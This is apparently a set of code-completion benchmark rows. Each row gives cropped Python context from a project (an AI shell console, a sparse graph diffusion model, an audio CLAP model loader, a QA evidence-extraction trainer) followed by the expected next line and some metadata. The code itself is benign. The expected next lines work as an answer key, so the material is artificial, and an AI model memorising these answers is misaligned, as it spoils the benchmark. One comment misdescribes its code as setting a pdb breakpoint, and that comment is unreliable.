= json.dumps(folder_list) max_llm -= folder_list_tokens kwargs = { 'get_os_name': get_os_name(), 'command_history': set_command_history, 'internal_script': str(is_internal) } send_prompt = replace_placeholders(send_prompt, **kwargs) logging.info(f"Translate Output Display System Prompt : {send_prompt}") logging.info(f"Translate Output Display User Prompt : {output}") display_output = self.llm.ask(send_prompt, output, model_type=ModelTypes(self.settings.get('model', "OpenAI")), return_type="text") # save_history_data(output, f"Assistant : {send_prompt}", self.settings) self.vector_db.store_long_term_memory(f"System : {send_prompt}\n User : {output}") logging.info(f"Translate Output Display Response : {display_output}") return display_output def display_output(self, output): logging.info(f"Display Output : {output}") print_colored_text(output) def display_about(self): print_colored_text("[bold][yellow]======================================================\nShellSpeak\n======================================================\n[white]AI powered Console Input\nVisit: https://github.com/TheCompAce/ShellSpeak\nDonate: @BradfordBrooks79 on Venmo\n\n[grey]Type 'help' for Help.\n[yellow]======================================================\n") def display_help(self): print_colored_text("[bold][yellow]======================================================\nShellSpeak Help\n======================================================\n[white]Type:\n'exit': to close ShellSpeak\n'user: /command/': pass a raw command to execute then reply threw the AI\n'file: /filepath/': adds file data to the command prompt. (use can send a folder path, using ',' to exclude folders and files.)\n'clm': Clear command Memory\n'rset': Reloads the settings file (this happens on every loading of the prompt.)\n'about': Shows the About Information\n'help': Shows this Help information.\n[yellow]======================================================\n") async def run(self): self.display_about() while True:
self.settings = load_settings(self.settingsRoot)
7
2023-10-31 23:35:19+00:00
12k
qym7/SparseDiff
sparse_diffusion/diffusion_model_sparse.py
[ { "identifier": "utils", "path": "sparse_diffusion/utils.py", "snippet": "def setup_wandb(cfg):\ndef create_folders(args):\ndef to_dense(x, edge_index, edge_attr, batch, charge):\ndef to_dense_node(x, batch):\ndef to_dense_edge(edge_index, edge_attr, batch, max_num_nodes):\ndef encode_no_edge(E):\ndef t...
import time import os import math import pickle import json import torch import wandb import numpy as np import torch.nn as nn import torch.nn.functional as F import pytorch_lightning as pl from tqdm import tqdm from models.conv_transformer_model import GraphTransformerConv from diffusion.noise_schedule import ( PredefinedNoiseScheduleDiscrete, MarginalUniformTransition, ) from metrics.train_metrics import TrainLossDiscrete from metrics.abstract_metrics import SumExceptBatchMetric, SumExceptBatchKL, NLL from analysis.visualization import Visualizer from sparse_diffusion import utils from sparse_diffusion.diffusion import diffusion_utils from sparse_diffusion.diffusion.sample_edges_utils import ( get_computational_graph, mask_query_graph_from_comp_graph, sample_non_existing_edge_attr, condensed_to_matrix_index_batch, ) from sparse_diffusion.diffusion.sample_edges import ( sample_query_edges, sample_non_existing_edges_batched, sampled_condensed_indices_uniformly, ) from sparse_diffusion.models.sign_pos_encoder import SignNetNodeEncoder
9,345
self.cfg = cfg self.test_variance = cfg.general.test_variance self.dataset_info = dataset_infos self.visualization_tools = Visualizer(dataset_infos) self.name = cfg.general.name self.T = cfg.model.diffusion_steps self.train_loss = TrainLossDiscrete(cfg.model.lambda_train, self.edge_fraction) self.train_metrics = train_metrics self.val_sampling_metrics = val_sampling_metrics self.test_sampling_metrics = test_sampling_metrics # TODO: transform to torchmetrics.MetricCollection self.val_nll = NLL() # self.val_metrics = torchmetrics.MetricCollection([]) self.val_X_kl = SumExceptBatchKL() self.val_E_kl = SumExceptBatchKL() self.val_X_logp = SumExceptBatchMetric() self.val_E_logp = SumExceptBatchMetric() self.best_nll = 1e8 self.best_epoch = 0 # TODO: transform to torchmetrics.MetricCollection self.test_nll = NLL() self.test_X_kl = SumExceptBatchKL() self.test_E_kl = SumExceptBatchKL() self.test_X_logp = SumExceptBatchMetric() self.test_E_logp = SumExceptBatchMetric() if self.use_charge: self.val_charge_kl = SumExceptBatchKL() self.val_charge_logp = SumExceptBatchMetric() self.test_charge_kl = SumExceptBatchKL() self.test_charge_logp = SumExceptBatchMetric() self.model = GraphTransformerConv( n_layers=cfg.model.n_layers, input_dims=self.in_dims, hidden_dims=cfg.model.hidden_dims, output_dims=self.out_dims, sn_hidden_dim=cfg.model.sn_hidden_dim, output_y=cfg.model.output_y, dropout=cfg.model.dropout ) # whether to use sign net if self.sign_net and cfg.model.extra_features == "all": self.sign_net = SignNetNodeEncoder( dataset_infos, cfg.model.sn_hidden_dim, cfg.model.num_eigenvectors ) # whether to use scale layers self.scaling_layer = cfg.model.scaling_layer ( self.node_scaling_layer, self.edge_scaling_layer, self.graph_scaling_layer, ) = self.get_scaling_layers() self.noise_schedule = PredefinedNoiseScheduleDiscrete( cfg.model.diffusion_noise_schedule, timesteps=cfg.model.diffusion_steps ) # Marginal transition node_types = self.dataset_info.node_types.float() x_marginals = node_types / torch.sum(node_types) edge_types = self.dataset_info.edge_types.float() e_marginals = edge_types / torch.sum(edge_types) if not self.use_charge: charge_marginals = node_types.new_zeros(0) else: charge_marginals = ( self.dataset_info.charge_types * node_types[:, None] ).sum(dim=0) print( f"Marginal distribution of the classes: {x_marginals} for nodes, {e_marginals} for edges" ) self.transition_model = MarginalUniformTransition( x_marginals=x_marginals, e_marginals=e_marginals, y_classes=self.out_dims.y, charge_marginals=charge_marginals, ) self.limit_dist = utils.PlaceHolder( X=x_marginals, E=e_marginals, y=torch.ones(self.out_dims.y) / self.out_dims.y, charge=charge_marginals, ) self.save_hyperparameters(ignore=["train_metrics", "sampling_metrics"]) self.log_every_steps = cfg.general.log_every_steps self.number_chain_steps = cfg.general.number_chain_steps def training_step(self, data, i): # The above code is using the Python debugger module `pdb` to set a breakpoint at a specific # line of code. When the code is executed, it will pause at that line and allow you to # interactively debug the program. if data.edge_index.numel() == 0: print("Found a batch with no edges. Skipping.") return # Map discrete classes to one hot encoding data = self.dataset_info.to_one_hot(data) start_time = time.time() sparse_noisy_data = self.apply_sparse_noise(data) if hasattr(self, "apply_noise_time"): self.apply_noise_time.append(round(time.time() - start_time, 2)) # Sample the query edges and build the computational graph = union(noisy graph, query edges) start_time = time.time() # print(data.ptr.diff()) triu_query_edge_index, _ = sample_query_edges( num_nodes_per_graph=data.ptr.diff(), edge_proportion=self.edge_fraction )
class DiscreteDenoisingDiffusion(pl.LightningModule): model_dtype = torch.float32 best_val_nll = 1e8 val_counter = 0 start_epoch_time = None val_iterations = None def __init__( self, cfg, dataset_infos, train_metrics, extra_features, domain_features, val_sampling_metrics, test_sampling_metrics, ): super().__init__() self.in_dims = dataset_infos.input_dims self.out_dims = dataset_infos.output_dims self.use_charge = cfg.model.use_charge and self.out_dims.charge > 1 self.node_dist = dataset_infos.nodes_dist self.extra_features = extra_features self.domain_features = domain_features self.sign_net = cfg.model.sign_net if not self.sign_net: cfg.model.sn_hidden_dim = 0 # sparse settings self.edge_fraction = cfg.model.edge_fraction self.autoregressive = cfg.model.autoregressive self.cfg = cfg self.test_variance = cfg.general.test_variance self.dataset_info = dataset_infos self.visualization_tools = Visualizer(dataset_infos) self.name = cfg.general.name self.T = cfg.model.diffusion_steps self.train_loss = TrainLossDiscrete(cfg.model.lambda_train, self.edge_fraction) self.train_metrics = train_metrics self.val_sampling_metrics = val_sampling_metrics self.test_sampling_metrics = test_sampling_metrics # TODO: transform to torchmetrics.MetricCollection self.val_nll = NLL() # self.val_metrics = torchmetrics.MetricCollection([]) self.val_X_kl = SumExceptBatchKL() self.val_E_kl = SumExceptBatchKL() self.val_X_logp = SumExceptBatchMetric() self.val_E_logp = SumExceptBatchMetric() self.best_nll = 1e8 self.best_epoch = 0 # TODO: transform to torchmetrics.MetricCollection self.test_nll = NLL() self.test_X_kl = SumExceptBatchKL() self.test_E_kl = SumExceptBatchKL() self.test_X_logp = SumExceptBatchMetric() self.test_E_logp = SumExceptBatchMetric() if self.use_charge: self.val_charge_kl = SumExceptBatchKL() self.val_charge_logp = SumExceptBatchMetric() self.test_charge_kl = SumExceptBatchKL() self.test_charge_logp = SumExceptBatchMetric() self.model = GraphTransformerConv( n_layers=cfg.model.n_layers, input_dims=self.in_dims, hidden_dims=cfg.model.hidden_dims, output_dims=self.out_dims, sn_hidden_dim=cfg.model.sn_hidden_dim, output_y=cfg.model.output_y, dropout=cfg.model.dropout ) # whether to use sign net if self.sign_net and cfg.model.extra_features == "all": self.sign_net = SignNetNodeEncoder( dataset_infos, cfg.model.sn_hidden_dim, cfg.model.num_eigenvectors ) # whether to use scale layers self.scaling_layer = cfg.model.scaling_layer ( self.node_scaling_layer, self.edge_scaling_layer, self.graph_scaling_layer, ) = self.get_scaling_layers() self.noise_schedule = PredefinedNoiseScheduleDiscrete( cfg.model.diffusion_noise_schedule, timesteps=cfg.model.diffusion_steps ) # Marginal transition node_types = self.dataset_info.node_types.float() x_marginals = node_types / torch.sum(node_types) edge_types = self.dataset_info.edge_types.float() e_marginals = edge_types / torch.sum(edge_types) if not self.use_charge: charge_marginals = node_types.new_zeros(0) else: charge_marginals = ( self.dataset_info.charge_types * node_types[:, None] ).sum(dim=0) print( f"Marginal distribution of the classes: {x_marginals} for nodes, {e_marginals} for edges" ) self.transition_model = MarginalUniformTransition( x_marginals=x_marginals, e_marginals=e_marginals, y_classes=self.out_dims.y, charge_marginals=charge_marginals, ) self.limit_dist = utils.PlaceHolder( X=x_marginals, E=e_marginals, y=torch.ones(self.out_dims.y) / self.out_dims.y, charge=charge_marginals, ) self.save_hyperparameters(ignore=["train_metrics", "sampling_metrics"]) self.log_every_steps = cfg.general.log_every_steps self.number_chain_steps = cfg.general.number_chain_steps def training_step(self, data, i): # The above code is using the Python debugger module `pdb` to set a breakpoint at a specific # line of code. When the code is executed, it will pause at that line and allow you to # interactively debug the program. if data.edge_index.numel() == 0: print("Found a batch with no edges. Skipping.") return # Map discrete classes to one hot encoding data = self.dataset_info.to_one_hot(data) start_time = time.time() sparse_noisy_data = self.apply_sparse_noise(data) if hasattr(self, "apply_noise_time"): self.apply_noise_time.append(round(time.time() - start_time, 2)) # Sample the query edges and build the computational graph = union(noisy graph, query edges) start_time = time.time() # print(data.ptr.diff()) triu_query_edge_index, _ = sample_query_edges( num_nodes_per_graph=data.ptr.diff(), edge_proportion=self.edge_fraction )
query_mask, comp_edge_index, comp_edge_attr = get_computational_graph(
2
2023-10-30 12:12:16+00:00
12k
ORI-Muchim/BEGANSing
AudioSR-Upsampling/audiosr/clap/open_clip/factory.py
[ { "identifier": "CLAP", "path": "AudioSR-Upsampling/audiosr/clap/open_clip/model.py", "snippet": "class CLAP(nn.Module):\n def __init__(\n self,\n embed_dim: int,\n audio_cfg: CLAPAudioCfp,\n text_cfg: CLAPTextCfg,\n quick_gelu: bool = False,\n enable_fusion:...
import json import logging import os import re import torch from copy import deepcopy from pathlib import Path from .model import CLAP, convert_weights_to_fp16 from .openai import load_openai_model from .pretrained import get_pretrained_url, download_pretrained from .transform import image_transform
7,226
def _rescan_model_configs(): global _MODEL_CONFIGS config_ext = (".json",) config_files = [] for config_path in _MODEL_CONFIG_PATHS: if config_path.is_file() and config_path.suffix in config_ext: config_files.append(config_path) elif config_path.is_dir(): for ext in config_ext: config_files.extend(config_path.glob(f"*{ext}")) for cf in config_files: if os.path.basename(cf)[0] == ".": continue # Ignore hidden files with open(cf, "r") as f: model_cfg = json.load(f) if all(a in model_cfg for a in ("embed_dim", "audio_cfg", "text_cfg")): _MODEL_CONFIGS[cf.stem] = model_cfg _MODEL_CONFIGS = { k: v for k, v in sorted(_MODEL_CONFIGS.items(), key=lambda x: _natural_key(x[0])) } _rescan_model_configs() # initial populate of model config registry def load_state_dict(checkpoint_path: str, map_location="cpu", skip_params=True): checkpoint = torch.load(checkpoint_path, map_location=map_location) if isinstance(checkpoint, dict) and "state_dict" in checkpoint: state_dict = checkpoint["state_dict"] else: state_dict = checkpoint if skip_params: if next(iter(state_dict.items()))[0].startswith("module"): state_dict = {k[7:]: v for k, v in state_dict.items()} # for k in state_dict: # if k.startswith('transformer'): # v = state_dict.pop(k) # state_dict['text_branch.' + k[12:]] = v return state_dict def create_model( amodel_name: str, tmodel_name: str, pretrained: str = "", precision: str = "fp32", device: torch.device = torch.device("cpu"), jit: bool = False, force_quick_gelu: bool = False, openai_model_cache_dir: str = os.path.expanduser("~/.cache/clip"), skip_params=True, pretrained_audio: str = "", pretrained_text: str = "", enable_fusion: bool = False, fusion_type: str = "None" # pretrained_image: bool = False, ): amodel_name = amodel_name.replace( "/", "-" ) # for callers using old naming with / in ViT names pretrained_orig = pretrained pretrained = pretrained.lower() if pretrained == "openai": if amodel_name in _MODEL_CONFIGS: logging.info(f"Loading {amodel_name} model config.") model_cfg = deepcopy(_MODEL_CONFIGS[amodel_name]) else: logging.error( f"Model config for {amodel_name} not found; available models {list_models()}." ) raise RuntimeError(f"Model config for {amodel_name} not found.") logging.info(f"Loading pretrained ViT-B-16 text encoder from OpenAI.") # Hard Code in model name model_cfg["text_cfg"]["model_type"] = tmodel_name model = load_openai_model( "ViT-B-16", model_cfg, device=device, jit=jit, cache_dir=openai_model_cache_dir, enable_fusion=enable_fusion, fusion_type=fusion_type, ) # See https://discuss.pytorch.org/t/valueerror-attemting-to-unscale-fp16-gradients/81372 if precision == "amp" or precision == "fp32": model = model.float() else: if amodel_name in _MODEL_CONFIGS: logging.info(f"Loading {amodel_name} model config.") model_cfg = deepcopy(_MODEL_CONFIGS[amodel_name]) else: logging.error( f"Model config for {amodel_name} not found; available models {list_models()}." ) raise RuntimeError(f"Model config for {amodel_name} not found.") if force_quick_gelu: # override for use of QuickGELU on non-OpenAI transformer models model_cfg["quick_gelu"] = True # if pretrained_image: # if 'timm_amodel_name' in model_cfg.get('vision_cfg', {}): # # pretrained weight loading for timm models set via vision_cfg # model_cfg['vision_cfg']['timm_model_pretrained'] = True # else: # assert False, 'pretrained image towers currently only supported for timm models' model_cfg["text_cfg"]["model_type"] = tmodel_name model_cfg["enable_fusion"] = enable_fusion model_cfg["fusion_type"] = fusion_type model = CLAP(**model_cfg) if pretrained: checkpoint_path = ""
_MODEL_CONFIG_PATHS = [Path(__file__).parent / f"model_configs/"] _MODEL_CONFIGS = {} # directory (model_name: config) of model architecture configs def _natural_key(string_): return [int(s) if s.isdigit() else s for s in re.split(r"(\d+)", string_.lower())] def _rescan_model_configs(): global _MODEL_CONFIGS config_ext = (".json",) config_files = [] for config_path in _MODEL_CONFIG_PATHS: if config_path.is_file() and config_path.suffix in config_ext: config_files.append(config_path) elif config_path.is_dir(): for ext in config_ext: config_files.extend(config_path.glob(f"*{ext}")) for cf in config_files: if os.path.basename(cf)[0] == ".": continue # Ignore hidden files with open(cf, "r") as f: model_cfg = json.load(f) if all(a in model_cfg for a in ("embed_dim", "audio_cfg", "text_cfg")): _MODEL_CONFIGS[cf.stem] = model_cfg _MODEL_CONFIGS = { k: v for k, v in sorted(_MODEL_CONFIGS.items(), key=lambda x: _natural_key(x[0])) } _rescan_model_configs() # initial populate of model config registry def load_state_dict(checkpoint_path: str, map_location="cpu", skip_params=True): checkpoint = torch.load(checkpoint_path, map_location=map_location) if isinstance(checkpoint, dict) and "state_dict" in checkpoint: state_dict = checkpoint["state_dict"] else: state_dict = checkpoint if skip_params: if next(iter(state_dict.items()))[0].startswith("module"): state_dict = {k[7:]: v for k, v in state_dict.items()} # for k in state_dict: # if k.startswith('transformer'): # v = state_dict.pop(k) # state_dict['text_branch.' + k[12:]] = v return state_dict def create_model( amodel_name: str, tmodel_name: str, pretrained: str = "", precision: str = "fp32", device: torch.device = torch.device("cpu"), jit: bool = False, force_quick_gelu: bool = False, openai_model_cache_dir: str = os.path.expanduser("~/.cache/clip"), skip_params=True, pretrained_audio: str = "", pretrained_text: str = "", enable_fusion: bool = False, fusion_type: str = "None" # pretrained_image: bool = False, ): amodel_name = amodel_name.replace( "/", "-" ) # for callers using old naming with / in ViT names pretrained_orig = pretrained pretrained = pretrained.lower() if pretrained == "openai": if amodel_name in _MODEL_CONFIGS: logging.info(f"Loading {amodel_name} model config.") model_cfg = deepcopy(_MODEL_CONFIGS[amodel_name]) else: logging.error( f"Model config for {amodel_name} not found; available models {list_models()}." ) raise RuntimeError(f"Model config for {amodel_name} not found.") logging.info(f"Loading pretrained ViT-B-16 text encoder from OpenAI.") # Hard Code in model name model_cfg["text_cfg"]["model_type"] = tmodel_name model = load_openai_model( "ViT-B-16", model_cfg, device=device, jit=jit, cache_dir=openai_model_cache_dir, enable_fusion=enable_fusion, fusion_type=fusion_type, ) # See https://discuss.pytorch.org/t/valueerror-attemting-to-unscale-fp16-gradients/81372 if precision == "amp" or precision == "fp32": model = model.float() else: if amodel_name in _MODEL_CONFIGS: logging.info(f"Loading {amodel_name} model config.") model_cfg = deepcopy(_MODEL_CONFIGS[amodel_name]) else: logging.error( f"Model config for {amodel_name} not found; available models {list_models()}." ) raise RuntimeError(f"Model config for {amodel_name} not found.") if force_quick_gelu: # override for use of QuickGELU on non-OpenAI transformer models model_cfg["quick_gelu"] = True # if pretrained_image: # if 'timm_amodel_name' in model_cfg.get('vision_cfg', {}): # # pretrained weight loading for timm models set via vision_cfg # model_cfg['vision_cfg']['timm_model_pretrained'] = True # else: # assert False, 'pretrained image towers currently only supported for timm models' model_cfg["text_cfg"]["model_type"] = tmodel_name model_cfg["enable_fusion"] = enable_fusion model_cfg["fusion_type"] = fusion_type model = CLAP(**model_cfg) if pretrained: checkpoint_path = ""
url = get_pretrained_url(amodel_name, pretrained)
3
2023-10-29 09:32:19+00:00
12k
KUNLP/XAI_EvidenceExtraction
src/model/main_function_rnn.py
[ { "identifier": "load_examples", "path": "src/functions/utils.py", "snippet": "def load_examples(args, tokenizer, evaluate=False, output_examples=False, do_predict=False, input_dict=None):\r\n '''\r\n\r\n :param args: 하이퍼 파라미터\r\n :param tokenizer: tokenization에 사용되는 tokenizer\r\n :param eva...
from torch.nn import functional as F from torch.utils.data import DataLoader, RandomSampler, SequentialSampler from tqdm import tqdm from nltk.translate.bleu_score import sentence_bleu from transformers import ( AdamW, get_linear_schedule_with_warmup ) from src.functions.utils import load_examples, set_seed, to_list, load_input_data from src.functions.processor_sent import SquadResult from src.functions.evaluate_v1_0 import eval_during_train, f1_score from src.functions.hotpotqa_metric import eval from src.functions.squad_metric import ( compute_predictions_logits, restore_prediction, restore_prediction2 ) import os import torch import timeit
8,415
if args.logging_steps > 0 and global_step % args.logging_steps == 0: # 모델 저장 디렉토리 생성 output_dir = os.path.join(args.output_dir, "checkpoint-{}".format(global_step)) if not os.path.exists(output_dir): os.makedirs(output_dir) # 학습된 가중치 및 vocab 저장 model.save_pretrained(output_dir) tokenizer.save_pretrained(output_dir) torch.save(args, os.path.join(output_dir, "training_args.bin")) logger.info("Saving model checkpoint to %s", output_dir) if args.logging_steps > 0 and global_step % args.logging_steps == 0: # Validation Test!! logger.info("***** Eval results *****") evaluate(args, model, tokenizer, logger, global_step=global_step) # except: # print("Current Step {} Error!".format(global_step)) # continue return global_step, tr_loss / global_step def sample_train2(args, model, tokenizer, logger): # 학습에 사용하기 위한 dataset Load examples, features = load_examples(args, tokenizer, evaluate=False, output_examples=True) # optimization 최적화 schedule 을 위한 전체 training step 계산 t_total = len(features) // args.gradient_accumulation_steps * args.num_train_epochs # Layer에 따른 가중치 decay 적용 no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": args.weight_decay, }, {"params": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0}, ] # optimizer 및 scheduler 선언 optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, eps=args.adam_epsilon) scheduler = get_linear_schedule_with_warmup( optimizer, num_warmup_steps=args.warmup_steps, num_training_steps=t_total ) # Training Step logger.info("***** Running training *****") logger.info(" Num examples = %d", len(features)) logger.info(" Num Epochs = %d", args.num_train_epochs) logger.info(" Train batch size per GPU = %d", args.train_batch_size) logger.info( " Total train batch size (w. parallel, distributed & accumulation) = %d", args.train_batch_size * args.gradient_accumulation_steps) logger.info(" Gradient Accumulation steps = %d", args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", t_total) global_step = 1 tr_loss, logging_loss = 0.0, 0.0 # loss buffer 초기화 model.zero_grad() set_seed(args) # for name, para in model.named_parameters(): # if 'gru' not in name: # print(name) # para.requires_grad = False for epoch in range(args.num_train_epochs): for step, batch in enumerate(features): model.train() all_input_ids = torch.tensor([feature.input_ids for feature in batch], dtype=torch.long).cuda() all_attention_masks = torch.tensor([feature.attention_mask for feature in batch], dtype=torch.long).cuda() all_token_type_ids = torch.tensor([feature.token_type_ids for feature in batch], dtype=torch.long).cuda() all_sent_masks = torch.tensor([feature.sent_mask for feature in batch], dtype=torch.long).cuda() all_start_positions = torch.tensor([feature.start_position for feature in batch], dtype=torch.long).cuda() all_end_positions = torch.tensor([feature.end_position for feature in batch], dtype=torch.long).cuda() all_question_type = torch.tensor([batch[0].question_type], dtype=torch.long).cuda() if torch.sum(all_start_positions).item() == 0: continue # 모델에 입력할 입력 tensor 저장 inputs = { "input_ids": all_input_ids, "attention_mask": all_attention_masks, "token_type_ids": all_token_type_ids, "sent_masks": all_sent_masks, "start_positions": all_start_positions, "end_positions": all_end_positions, #"question_type": all_question_type } outputs = model(**inputs) loss, sampled_evidence_scores, mask, start_logits, end_logits, sampled_evidence_sentence = outputs predicted_answer = [] evidence_predicted_answer = [] # print("\n".join([str(e) for e in sampled_evidence_sentence.tolist()])) for path in range(num_samples): all_results = [] start_logit = start_logits[:, :, path] end_logit = end_logits[:, :, path] batch_size = start_logits.size(0) for i in range(batch_size): # feature 고유 id로 접근하여 원본 q_id 저장 # 각 feature는 유일한 q_id를 갖고 있지 않음 # ==> context가 긴 경우, context를 분할하여 여러 개의 데이터로 변환하기 때문! eval_feature = batch[i] # 입력 질문에 대한 N개의 결과 저장하기위해 q_id 저장 unique_id = int(eval_feature.unique_id) # outputs = [start_logits, end_logits] output = [to_list(output[i]) for output in [start_logit, end_logit]] # start_logits: [batch_size, max_length] # end_logits: [batch_size, max_length] start, end = output # q_id에 대한 예측 정답 시작/끝 위치 확률 저장
def train(args, model, tokenizer, logger): # 학습에 사용하기 위한 dataset Load examples, features = load_examples(args, tokenizer, evaluate=False, output_examples=True) # optimization 최적화 schedule 을 위한 전체 training step 계산 t_total = len(features) // args.gradient_accumulation_steps * args.num_train_epochs # Layer에 따른 가중치 decay 적용 no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": args.weight_decay, }, {"params": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0}, ] # optimizer 및 scheduler 선언 optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, eps=args.adam_epsilon) scheduler = get_linear_schedule_with_warmup( optimizer, num_warmup_steps=args.warmup_steps, num_training_steps=t_total ) # Training Step logger.info("***** Running training *****") logger.info(" Num examples = %d", len(features)) logger.info(" Num Epochs = %d", args.num_train_epochs) logger.info(" Train batch size per GPU = %d", args.train_batch_size) logger.info( " Total train batch size (w. parallel, distributed & accumulation) = %d", args.train_batch_size * args.gradient_accumulation_steps) logger.info(" Gradient Accumulation steps = %d", args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", t_total) global_step = 1 tr_loss, logging_loss = 0.0, 0.0 # loss buffer 초기화 model.zero_grad() set_seed(args) for epoch in range(args.num_train_epochs): for step, batch in enumerate(features): # if not args.from_init_weight: # if global_step< int(args.checkpoint): # global_step+=1 # continue # try: model.train() all_input_ids = torch.tensor([feature.input_ids for feature in batch], dtype=torch.long).cuda() all_attention_masks = torch.tensor([feature.attention_mask for feature in batch], dtype=torch.long).cuda() all_token_type_ids = torch.tensor([feature.token_type_ids for feature in batch], dtype=torch.long).cuda() all_sent_masks = torch.tensor([feature.sent_mask for feature in batch], dtype=torch.long).cuda() all_start_positions = torch.tensor([feature.start_position for feature in batch], dtype=torch.long).cuda() all_end_positions = torch.tensor([feature.end_position for feature in batch], dtype=torch.long).cuda() all_sent_label = torch.tensor([feature.sent_label for feature in batch], dtype=torch.long).cuda() if torch.sum(all_start_positions).item() == 0: continue # 모델에 입력할 입력 tensor 저장 inputs = { "input_ids": all_input_ids, "attention_mask": all_attention_masks, "token_type_ids": all_token_type_ids, "sent_masks": all_sent_masks, "start_positions": all_start_positions, "end_positions": all_end_positions, } # Loss 계산 및 저장 outputs = model(**inputs) total_loss = outputs[0] if args.gradient_accumulation_steps > 1: total_loss = total_loss / args.gradient_accumulation_steps total_loss.backward() tr_loss += total_loss.item() # Loss 출력 if (global_step + 1) % 50 == 0: print("{} step processed.. Current Loss : {}".format((global_step+1),total_loss.item())) if (step + 1) % args.gradient_accumulation_steps == 0: torch.nn.utils.clip_grad_norm_(model.parameters(), args.max_grad_norm) optimizer.step() scheduler.step() # Update learning rate schedule model.zero_grad() global_step += 1 # model save if args.logging_steps > 0 and global_step % args.logging_steps == 0: # 모델 저장 디렉토리 생성 output_dir = os.path.join(args.output_dir, "checkpoint-{}".format(global_step)) if not os.path.exists(output_dir): os.makedirs(output_dir) # 학습된 가중치 및 vocab 저장 model.save_pretrained(output_dir) tokenizer.save_pretrained(output_dir) torch.save(args, os.path.join(output_dir, "training_args.bin")) logger.info("Saving model checkpoint to %s", output_dir) if args.logging_steps > 0 and global_step % args.logging_steps == 0: # Validation Test!! logger.info("***** Eval results *****") evaluate(args, model, tokenizer, logger, global_step=global_step) # except: # print("Current Step {} Error!".format(global_step)) # continue return global_step, tr_loss / global_step def sample_train(args, model, tokenizer, logger): # 학습에 사용하기 위한 dataset Load examples, features = load_examples(args, tokenizer, evaluate=False, output_examples=True) # optimization 최적화 schedule 을 위한 전체 training step 계산 t_total = len(features) // args.gradient_accumulation_steps * args.num_train_epochs # Layer에 따른 가중치 decay 적용 no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": args.weight_decay, }, {"params": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0}, ] # optimizer 및 scheduler 선언 optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, eps=args.adam_epsilon) scheduler = get_linear_schedule_with_warmup( optimizer, num_warmup_steps=args.warmup_steps, num_training_steps=t_total ) # Training Step logger.info("***** Running training *****") logger.info(" Num examples = %d", len(features)) logger.info(" Num Epochs = %d", args.num_train_epochs) logger.info(" Train batch size per GPU = %d", args.train_batch_size) logger.info( " Total train batch size (w. parallel, distributed & accumulation) = %d", args.train_batch_size * args.gradient_accumulation_steps) logger.info(" Gradient Accumulation steps = %d", args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", t_total) global_step = 1 tr_loss, logging_loss = 0.0, 0.0 # loss buffer 초기화 model.zero_grad() set_seed(args) for name, para in model.named_parameters(): if 'gru' not in name: print(name) para.requires_grad = False for epoch in range(args.num_train_epochs): for step, batch in enumerate(features): model.train() all_input_ids = torch.tensor([feature.input_ids for feature in batch], dtype=torch.long).cuda() all_attention_masks = torch.tensor([feature.attention_mask for feature in batch], dtype=torch.long).cuda() all_token_type_ids = torch.tensor([feature.token_type_ids for feature in batch], dtype=torch.long).cuda() all_sent_masks = torch.tensor([feature.sent_mask for feature in batch], dtype=torch.long).cuda() all_start_positions = torch.tensor([feature.start_position for feature in batch], dtype=torch.long).cuda() all_end_positions = torch.tensor([feature.end_position for feature in batch], dtype=torch.long).cuda() all_sent_label = torch.tensor([feature.sent_label for feature in batch], dtype=torch.long).cuda() if torch.sum(all_start_positions).item() == 0: continue # 모델에 입력할 입력 tensor 저장 inputs = { "input_ids": all_input_ids, "attention_mask": all_attention_masks, "token_type_ids": all_token_type_ids, "sent_masks": all_sent_masks, "start_positions": all_start_positions, "end_positions": all_end_positions, } outputs = model(**inputs) loss, span_loss, mse_loss, sampled_evidence_scores, start_logits, end_logits, sampled_evidence_sentence = outputs # if args.gradient_accumulation_steps > 1: # loss = loss / args.gradient_accumulation_steps # if loss.item() == 0: # continue # loss.backward() if args.gradient_accumulation_steps > 1: span_loss = span_loss / args.gradient_accumulation_steps mse_loss = mse_loss / args.gradient_accumulation_steps loss = loss / args.gradient_accumulation_steps mse_loss.backward() tr_loss += loss.item() # Loss 출력 if (global_step + 1) % 50 == 0: print("{} step processed.. Current Loss : {}".format((global_step+1),span_loss.item())) if (step + 1) % args.gradient_accumulation_steps == 0: torch.nn.utils.clip_grad_norm_(model.parameters(), args.max_grad_norm) optimizer.step() scheduler.step() # Update learning rate schedule model.zero_grad() global_step += 1 # model save if args.logging_steps > 0 and global_step % args.logging_steps == 0: # 모델 저장 디렉토리 생성 output_dir = os.path.join(args.output_dir, "checkpoint-{}".format(global_step)) if not os.path.exists(output_dir): os.makedirs(output_dir) # 학습된 가중치 및 vocab 저장 model.save_pretrained(output_dir) tokenizer.save_pretrained(output_dir) torch.save(args, os.path.join(output_dir, "training_args.bin")) logger.info("Saving model checkpoint to %s", output_dir) if args.logging_steps > 0 and global_step % args.logging_steps == 0: # Validation Test!! logger.info("***** Eval results *****") evaluate(args, model, tokenizer, logger, global_step=global_step) # except: # print("Current Step {} Error!".format(global_step)) # continue return global_step, tr_loss / global_step def sample_train2(args, model, tokenizer, logger): # 학습에 사용하기 위한 dataset Load examples, features = load_examples(args, tokenizer, evaluate=False, output_examples=True) # optimization 최적화 schedule 을 위한 전체 training step 계산 t_total = len(features) // args.gradient_accumulation_steps * args.num_train_epochs # Layer에 따른 가중치 decay 적용 no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": args.weight_decay, }, {"params": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0}, ] # optimizer 및 scheduler 선언 optimizer = AdamW(optimizer_grouped_parameters, 